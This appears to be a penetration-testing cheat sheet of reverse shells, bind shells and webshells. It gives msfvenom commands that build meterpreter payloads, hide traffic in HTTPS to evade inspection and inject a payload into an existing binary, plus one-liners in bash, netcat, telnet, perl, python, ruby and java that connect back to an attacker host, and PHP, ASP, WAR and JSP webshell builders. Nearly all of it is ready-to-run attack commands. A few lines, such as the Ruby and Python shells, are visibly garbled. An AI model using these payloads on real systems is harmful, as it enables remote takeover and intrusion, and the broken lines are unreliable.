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This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet:



  • Standard meterpreter

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse.exe
    use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
  • Meterpreter HTTPS

    It makes the meterpreter-traffic look normal. Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

    msfvenom -p windows/meterpreter/reverse_https LHOST=ip LPORT=443 -f exe -o met_https_reverse.exe
  • Non-staged payload

    msfvenom -p windows/shell_reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse_tcp.exe
    use exploit/multi/handlerset payload windows/shell_reverse_tcp
  • Staged payload

    This must be caught with metasploit. It does not work with netcat.
    use exploit/multi/handlerset payload windows/shell/reverse_tcp
  • Inject payload into binary

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe


  • Binary

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f elf > shell.elf
  • Bash

    0<&196;exec 196<>/dev/tcp/ip/80; sh <&196 >&196 2>&196
    bash -i >& /dev/tcp/ip/8080 0>&1
  • Php

    php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'


  • Bind shell

    #Linuxnc -vlp 5555 -e /bin/bashnc ip 5555# Windowsnc.exe -nlvp 4444 -e cmd.exe
  • Reverse shell

    Linuxnc -lvp 5555nc ip 5555 -e /bin/bash# Windowsnc -lvp 443nc.exe ip 443 -e cmd.exe
  • With -e flag

    nc -e /bin/sh ATTACKING-IP 80
    /bin/sh | nc ATTACKING-IP 80
  • Without -e flag

    rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p


Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted.

  • Bind

    ncat --exec cmd.exe --allow -vnl 5555 --sslncat -v ip 5555 --ssl
  • Telnet

    rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
    telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
  • Perl

    perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Ruby

    ruby -rsocket -e'"ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • Java

    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
  • Python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


  • PHP

    This php-shell is OS-independent. You can use it on both Linux and Windows.

    msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.php
  • ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f asp > shell.asp
  • WAR

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f war > shell.war
  • JSP

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.jsp